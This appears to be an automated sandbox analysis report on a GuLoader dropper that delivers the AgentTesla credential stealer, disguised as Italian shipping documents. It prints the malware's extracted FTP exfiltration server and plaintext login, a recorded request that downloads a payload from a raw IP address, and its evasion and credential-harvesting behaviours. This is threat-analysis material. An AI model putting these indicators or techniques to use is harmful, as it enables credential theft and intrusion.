Edit tour

Windows Analysis Report
Documenti di spedizione.bat.exe

Overview

General Information

Sample name:	Documenti di spedizione.bat.exe
Analysis ID:	1538406
MD5:	c2d72d131fe371481a0cc117bb835f23
SHA1:	dd736a4b716d790f1a3b304f265530399e0646aa
SHA256:	d5ee11c69acd2903e1d9b6f6b59aabbd66d9a38430fe4a020d48b18707afb9b8
Tags:	exeSPAM-ITAuser-JAMESWT_MHT
Infos:

Detection

AgentTesla, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Yara detected GuLoader

AI detected suspicious sample

Initial sample is a PE file and has a suspicious name

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Documenti di spedizione.bat.exe (PID: 1216 cmdline: "C:\Users\user\Desktop\Documenti di spedizione.bat.exe" MD5: C2D72D131FE371481A0CC117BB835F23)

Documenti di spedizione.bat.exe (PID: 6360 cmdline: "C:\Users\user\Desktop\Documenti di spedizione.bat.exe" MD5: C2D72D131FE371481A0CC117BB835F23)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.concaribe.com", "Username": "testi@concaribe.com", "Password": "ro}UWgz#!38E"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.3268012189.0000000035D3C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.3268012189.0000000035D11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.3268012189.0000000035D11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2622907662.0000000007225000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: Documenti di spedizione.bat.exe PID: 6360	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Documenti di spedizione.bat.exe PID: 6360	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 1 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T08:25:12.066632+0200	2803270	2	Potentially Bad Traffic	192.168.2.5	64702	84.38.129.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Documenti di spedizione.bat.exe

Avira: detected

Found malware configuration

Source: Documenti di spedizione.bat.exe.1216.0.memstrmin

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.concaribe.com", "Username": "testi@concaribe.com", "Password": "ro}UWgz#!38E"}

Multi AV Scanner detection for domain / URL

Source: ftp.concaribe.com

Virustotal: Detection: 6%

Perma Link

Multi AV Scanner detection for submitted file

Source: Documenti di spedizione.bat.exe	Virustotal: Detection: 15%			Perma Link
Source: Documenti di spedizione.bat.exe	ReversingLabs: Detection: 13%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Documenti di spedizione.bat.exe

Joe Sandbox ML: detected

Source: Documenti di spedizione.bat.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:64703 version: TLS 1.2

Source: Documenti di spedizione.bat.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 0_2_0040270B FindFirstFileA,	0_2_0040270B
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 0_2_004061FB FindFirstFileA,FindClose,	0_2_004061FB
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 0_2_00405799 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_00405799
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_0040270B FindFirstFileA,	4_2_0040270B
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_004061FB FindFirstFileA,FindClose,	4_2_004061FB
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_00405799 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	4_2_00405799

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 192.185.13.234 192.185.13.234

Source: Joe Sandbox View

ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:64702 -> 84.38.129.16:80

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rNWbaMk175.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: 84.38.129.16Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.129.16

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rNWbaMk175.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: 84.38.129.16Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: 171.39.242.20.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ftp.concaribe.com

Source: Documenti di spedizione.bat.exe, 00000004.00000002.3250163188.00000000071D0000.00000004.00001000.00020000.00000000.sdmp, Documenti di spedizione.bat.exe, 00000004.00000002.3249854436.00000000056D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://84.38.129.16/rNWbaMk175.bin
Source: Documenti di spedizione.bat.exe, 00000004.00000002.3249854436.00000000056D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://84.38.129.16/rNWbaMk175.bini
Source: Documenti di spedizione.bat.exe, 00000004.00000002.3268012189.0000000035D3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://concaribe.com
Source: Documenti di spedizione.bat.exe, 00000004.00000002.3268012189.0000000035D3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.concaribe.com
Source: Documenti di spedizione.bat.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: Documenti di spedizione.bat.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Documenti di spedizione.bat.exe, 00000004.00000002.3268012189.0000000035CC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Documenti di spedizione.bat.exe, 00000004.00000002.3268012189.0000000035CC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: Documenti di spedizione.bat.exe, 00000004.00000002.3268012189.0000000035CC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: Documenti di spedizione.bat.exe, 00000004.00000002.3268012189.0000000035CC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t

Source: unknown	Network traffic detected: HTTP traffic on port 64703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64703

Source: unknown

HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:64703 version: TLS 1.2

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Code function: 0_2_0040524E GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040524E

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Documenti di spedizione.bat.exe

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 0_2_004032BF EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004032BF
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_004032BF EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_004032BF

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

File created: C:\Windows\SysWOW64\lamellate.ini

Jump to behavior

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 0_2_00406542	0_2_00406542
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 0_2_00404A8D	0_2_00404A8D
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_00406542	4_2_00406542
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_00404A8D	4_2_00404A8D
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_000D4188	4_2_000D4188
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_000DA214	4_2_000DA214
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_000D4A58	4_2_000D4A58
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_000DAAAB	4_2_000DAAAB
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_000D3E40	4_2_000D3E40
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_38CEBB90	4_2_38CEBB90
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_38CEA7DC	4_2_38CEA7DC
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_38CF3158	4_2_38CF3158
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_38CF0040	4_2_38CF0040
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_38CFE468	4_2_38CFE468
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_38CF7760	4_2_38CF7760
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_39202B98	4_2_39202B98
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_38CF0038	4_2_38CF0038

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Code function: String function: 00402ACE appears 52 times

Source: Documenti di spedizione.bat.exe, 00000004.00000002.3267969907.0000000035B89000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Documenti di spedizione.bat.exe
Source: Documenti di spedizione.bat.exe, 00000004.00000002.3249854436.00000000056D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Documenti di spedizione.bat.exe

Source: Documenti di spedizione.bat.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/18@3/3

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 0_2_004032BF EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004032BF
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_004032BF EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_004032BF

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Code function: 0_2_0040451A GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_0040451A

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Code function: 0_2_004020CD CoCreateInstance,MultiByteToWideChar,

0_2_004020CD

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously

Jump to behavior

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

File created: C:\Users\user\AppData\Local\Temp\nsgCF12.tmp

Jump to behavior

Source: Documenti di spedizione.bat.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Documenti di spedizione.bat.exe	Virustotal: Detection: 15%
Source: Documenti di spedizione.bat.exe	ReversingLabs: Detection: 13%

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

File read: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Documenti di spedizione.bat.exe "C:\Users\user\Desktop\Documenti di spedizione.bat.exe"
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process created: C:\Users\user\Desktop\Documenti di spedizione.bat.exe "C:\Users\user\Desktop\Documenti di spedizione.bat.exe"
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process created: C:\Users\user\Desktop\Documenti di spedizione.bat.exe "C:\Users\user\Desktop\Documenti di spedizione.bat.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: rsaenh.dll	Jump to behavior
